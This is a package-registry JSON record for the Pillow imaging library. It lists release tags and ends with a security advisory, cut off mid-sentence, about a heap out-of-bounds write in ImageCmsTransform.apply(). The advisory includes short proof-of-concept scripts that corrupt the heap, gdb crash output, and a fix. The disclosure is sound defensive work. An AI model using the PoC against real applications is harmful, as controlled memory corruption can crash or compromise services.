3.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.3/manifests"},{"name":"3.4.0","sha":"ac5a212cee478f7f1448080d47c2c9daa29e297f","kind":"commit","published_at":"2016-10-03T15:00:29.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.0/manifests"},{"name":"3.3.2","sha":"9cf752a6979606cf2ce325174c7c129380fb313f","kind":"commit","published_at":"2016-09-30T13:55:22.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.2/manifests"},{"name":"3.3.1","sha":"aab33141f381d5577cdef9033b7fdff79122a10c","kind":"commit","published_at":"2016-08-17T20:35:58.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.1/manifests"},{"name":"3.3.0","sha":"4f4c98222914353470336ab7288c1f1876b4b2b7","kind":"commit","published_at":"2016-07-01T12:57:19.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.0/manifests"},{"name":"3.1.2","sha":"acf1c8559b720ec29f2438d7fb652e0dcf6cb0fb","kind":"commit","published_at":"2016-04-01T12:27:31.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.2/manifests"},{"name":"3.2.0","sha":"344cb709ed0111adcc6ad47cc007507c3f5efeb3","kind":"commit","published_at":"2016-04-01T12:17:23.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.2.0/manifests"},{"name":"3.1.1","sha":"eb72bf86fb867841f8a9e192e43e511bf4618709","kind":"commit","published_at":"2016-02-04T16:17:58.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.1/manifests"},{"name":"3.1.0","sha":"fff5536b37c2d619c66c1189b6925fa0a8df3822","kind":"commit","published_at":"2016-01-04T10:04:23.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0/manifests"},{"name":"3.1.0-rc1","sha":"0f9f5cd8db3365dca23b1b2490dbccf819a07b5c","kind":"commit","published_at":"2016-01-01T16:00:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.0-rc1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0-rc1/manifests"},{"name":"3.0.0","sha":"0177cceac4adfd0020ecbf49fb44ad275dcc1f51","kind":"commit","published_at":"2015-10-01T20:39:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.0.0/manifests"},{"name":"2.9.0","sha":"80672b61e8596c7d6dab7b4ef3ef1e4783902f51","kind":"commit","published_at":"2015-07-01T18:33:56.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0/manifests"},{"name":"2.9.0.dev2","sha":"445a8c06fce647249e6a832f595fcdfff1743ad0","kind":"commit","published_at":"2015-06-30T12:04:35.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0.dev2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0.dev2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev2/manifests"},{"name":"2.9.0.dev1","sha":"96944e2dd664efb98e25d0e86671420af26fda40","kind":"commit","published_at":"2015-06-29T12:57:55.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0.dev1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0.dev1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev1/manifests"},{"name":"2.9.0.dev0","sha":"efe925c26f4fb78613b5ed98d488f71a723d03e8","kind":"commit","published_at":"2015-06-28T19:07:01.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0.dev0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0.dev0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev0/manifests"},{"name":"2.8.2","sha":"0222a059d62723fe056daa17f007f87dc46595b4","kind":"commit","published_at":"2015-06-06T23:52:13.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.8.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.2/manifests"},{"name":"2.8.1","sha":"3f09b8f1715b018e8249337f1432070301c61e18","kind":"commit","published_at":"2015-04-02T14:59:03.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.8.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.1/manifests"},{"name":"2.8.0","sha":"d754598f146f868e8cd7d247b3af6cf3f3c8d510","kind":"commit","published_at":"2015-04-01T19:39:41.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.8.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"0f05eb287a223ce106848cd048cfcb45e9faa565","kind":"commit","published_at":"2015-01-01T04:42:57.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.7.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.7.0/manifests"},{"name":"2.6.2","sha":"9f0ec3b0d7637e04fa735d7dfb94464301b02c1e","kind":"commit","published_at":"2015-01-01T04:11:39.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.2/manifests"},{"name":"2.6.1","sha":"4a8471dea18f6196161e4444ce5625f46cecd1e1","kind":"commit","published_at":"2014-10-13T17:13:17.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.1/manifests"},{"name":"2.6.0","sha":"9634e437efeeda906ad6bfcc275b17732d64f32a","kind":"commit","published_at":"2014-10-01T16:59:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0/manifests"},{"name":"2.6.0-rc1","sha":"81ebc21abfdd9d152f05d8516b17efba26e4d5b7","kind":"commit","published_at":"2014-09-29T20:14:49.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.0-rc1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0-rc1/manifests"},{"name":"2.5.3","sha":"68c6904c280ad872620cc8d904e6d4e6ecc5b6f9","kind":"commit","published_at":"2014-08-14T22:38:52.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.3","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.3/manifests"},{"name":"2.3.2","sha":"30529a02793354453971e874be0e78d554d770d9","kind":"commit","published_at":"2014-08-12T18:48:14.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.3.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.2/manifests"},{"name":"2.5.2","sha":"4081f9f6a504c9d3b83237fafdecf2be042976a8","kind":"commit","published_at":"2014-08-12T18:44:56.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.2/manifests"},{"name":"2.5.1","sha":"1ab78b8fb7e1f7078dd110bc8d9fba3cc0006e51","kind":"commit","published_at":"2014-07-10T21:54:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.1/manifests"},{"name":"2.5.0","sha":"80d6137c860b9322572ee1390514df1975acb2e7","kind":"commit","published_at":"2014-07-01T22:39:40.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"72de37caada5d9ff7c657ce5f4ad6f8a6a3870f0","kind":"commit","published_at":"2014-04-01T22:31:55.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.4.0/manifests"},{"name":"2.3.1","sha":"b8d4895bd5c41fce88a8ad436672bd8033414797","kind":"commit","published_at":"2014-03-14T23:44:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.3.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.1/manifests"},{"name":"2.3.0","sha":"b1b88cf4d255c4b9faf1dae05faaa78091268cb1","kind":"commit","published_at":"2014-01-01T21:10:13.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.0/manifests"},{"name":"2.2.2","sha":"72e54e1c53478a173b7e51b5703348453d5a19d4","kind":"commit","published_at":"2013-12-11T23:05:54.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.2.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.2/manifests"},{"name":"2.2.1","sha":"3c2496e117f4d045a99d7e376133e67b47217ce2","kind":"commit","published_at":"2013-10-02T17:07:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.1/manifests"},{"name":"2.2.0","sha":"9b0bc48d26b021ba40bbf1aaf6291ef664f9d083","kind":"commit","published_at":"2013-10-02T11:18:39.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"75af7e00db304ed34557c856c609d10ecf44d49c","kind":"commit","published_at":"2013-07-02T12:52:49.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.1.0/manifests"},{"name":"2.0.0","sha":"baea361b9a29e9a1dfa5a9b8e11bc9624a9cee46","kind":"commit","published_at":"2013-03-15T12:59:50.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.0.0/manifests"},{"name":"1.7.8","sha":"4a10a363e4a220149f7efbf109ac5bf0d1d85b35","kind":"commit","published_at":"2012-11-01T21:09:46.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.7.8","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.8/manifests"},{"name":"1.7.7","sha":"aaac591549807d183ec8855e5f86bd4584411a87","kind":"commit","published_at":"2012-04-05T01:15:07.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.7.7","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.7/manifests"},{"name":"1.7.6","sha":"3af55ff06f74711112c0c5b05a9ef1cd3eb58b7d","kind":"tag","published_at":"2012-01-21T00:58:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.7.6","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.6/manifests"},{"name":"1.2","sha":"fb47c498ef1bed2fd5e8bf5c84427bd7ab410da5","kind":"tag","published_at":"2010-08-02T15:44:30.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.2/manifests"},{"name":"1.0","sha":"b1030062ea8106abb34c97b83ab16149d33fb98f","kind":"tag","published_at":"2010-07-31T03:26:26.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.0/manifests"}]},"repo_metadata_updated_at":"2024-10-29T15:58:04.894Z","dependent_packages_count":4378,"downloads":566501168,"downloads_period":"last-month","dependent_repos_count":88899,"rankings":{"downloads":0.01265574359830303,"dependent_repos_count":0.013205993319968377,"dependent_packages_count":0.005685913790541941,"stargazers_count":0.43964952761061393,"forks_count":0.576294875157509,"docker_downloads_count":0.08198720852813703,"average":0.18824654366751223},"purl":"pkg:pypi/pillow","advisories":[{"uuid":"GSA_kwCzR0hTQS05aHc5LWNoNzktNHZoNs4ABcRb","url":"https://github.com/advisories/GHSA-9hw9-ch79-4vh6","title":"Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch","description":"### Summary\n\nPillow's public `ImageCms.ImageCmsTransform.apply(im, imOut)` API can trigger\ncontrolled native heap corruption when the caller supplies an output image whose\nmode does not match the transform's declared output mode.\n\nFor example, a transform built as `RGBA -\u003e RGBA` can be applied to an `L` output\nimage. Pillow checks dimensions only, then calls LittleCMS with the output row\npointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel `L` image row.\n\n### Details\n\n`src/PIL/ImageCms.py:ImageCmsTransform.apply()` accepts an optional caller\nsupplied `imOut`:\n\n```python\ndef apply(self, im, imOut=None):\n    if imOut is None:\n        imOut = Image.new(self.output_mode, im.size, None)\n    self.transform.apply(im.getim(), imOut.getim())\n    imOut.info[\"icc_profile\"] = self.output_profile.tobytes()\n    return imOut\n```\n\nIf `imOut` is provided, Pillow does not check:\n\n```text\nim.mode == self.input_mode\nimOut.mode == self.output_mode\n```\n\nThe C wrapper in `src/_imagingcms.c` unwraps both image cores and only checks\nthat the output dimensions are at least as large as the input dimensions:\n\n```c\nstatic int\npyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {\n    if (im-\u003exsize \u003e imOut-\u003exsize || im-\u003eysize \u003e imOut-\u003eysize) {\n        return -1;\n    }\n\n    for (i = 0; i \u003c im-\u003eysize; i++) {\n        cmsDoTransform(hTransform, im-\u003eimage[i], imOut-\u003eimage[i], im-\u003exsize);\n    }\n\n    pyCMScopyAux(hTransform, imOut, im);\n    return 0;\n}\n```\n\n`findLCMStype()` maps `RGB`, `RGBA`, and `RGBX` transform modes to LittleCMS\n`TYPE_RGBA_8`, which writes 4 bytes per pixel:\n\n```c\ncase IMAGING_MODE_RGB:\ncase IMAGING_MODE_RGBA:\ncase IMAGING_MODE_RGBX:\n    return TYPE_RGBA_8;\n```\n\nSo with a transform declared as `RGBA -\u003e RGBA`, LittleCMS writes `4 * width`\nbytes to each output row. If the supplied output image is mode `L`, Pillow only\nallocated `1 * width` bytes for that row.\n\nFor width 4096:\n\n```text\ndestination row allocation: 4096 bytes\nLittleCMS write size:       16384 bytes\noverflow:                  ~12288 bytes past the row\n```\n\nThe bug does not require a large image. Width 8 was enough to corrupt heap\nmetadata. At width 8, `apply()` returned to Python and printed `after`; glibc\ndetected the corrupted heap later during cleanup.\n\n### PoC\n\nTiny heap corruption trigger:\n\n```python\nfrom PIL import Image, ImageCms\n\nsrgb = ImageCms.createProfile(\"sRGB\")\ntransform = ImageCms.buildTransform(srgb, srgb, \"RGBA\", \"RGBA\")\n\nim = Image.new(\"RGBA\", (8, 1), (0x41, 0x42, 0x43, 0x44))\nout = Image.new(\"L\", (8, 1), 0)\n\nprint(\"before\", flush=True)\ntransform.apply(im, out)\nprint(\"after\")\n```\n\nObserved locally on Pillow `12.3.0.dev0`:\n\n```text\nbefore\nafter\nfree(): invalid next size (normal)\nAborted (core dumped)\n```\n\nControlled overwrite evidence PoC:\n\n```python\nfrom PIL import Image, ImageCms\n\nsrgb = ImageCms.createProfile(\"sRGB\")\ntransform = ImageCms.buildTransform(srgb, srgb, \"RGBA\", \"RGBA\")\n\nim = Image.new(\"RGBA\", (4096, 1), (0x41, 0x42, 0x43, 0x44))\nout = Image.new(\"L\", (4096, 1), 0)\n\ntransform.apply(im, out)\n```\n\nRun under gdb:\n\n```bash\ngdb -q --batch -ex run -ex bt --args \\\n  python3 b022_controlled.py\n```\n\nObserved on Pillow `12.3.0.dev0`:\n\n```text\nProgram received signal SIGSEGV, Segmentation fault.\n___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)\n#1 _cmsLockPrimitive (m=0x4443424144434241)\n#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)\n#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)\n#4 cmsSaveProfileToIOhandler(...)\n#5 cmsSaveProfileToMem(...)\n#6 cms_profile_tobytes (...) at src/_imagingcms.c:152\n```\n\n`0x4443424144434241` is the attacker-controlled source pixel pattern\n`b\"ABCDABCD\"` interpreted as a little-endian pointer-sized value.\n\nUsing source pixels `(1, 2, 3, 4)` similarly produced a faulting pointer of\n`0x403020104030201`, matching the repeated pixel bytes.\n\n### Impact\n\nThis is a heap out-of-bounds write in Pillow's native ImageCms extension,\nreachable through public API.\n\nApplications are impacted if untrusted users can control ImageCms transform\nparameters and/or provide the output image object passed to\n`ImageCmsTransform.apply()`. The source image pixels influence the bytes written\nout of bounds.\n\n## Suggested fix\n\nValidate modes before calling into the native transform:\n\n```python\ndef apply(self, im, imOut=None):\n    if im.mode != self.input_mode:\n        raise ValueError(\"input mode mismatch\")\n    if imOut is None:\n        imOut = Image.new(self.output_mode, im.size, None)\n    elif imOut.mode != self.output_mode:\n        raise ValueError(\"output mode mismatch\")\n    self.transform.apply(im.getim(), imOut.getim())\n    imOut.info[\"icc_profile\"] = self.output_profile.tobytes()\n    return imOut\n```\n\nThe C extension should also defensively reject mismatched image modes before\ncalling 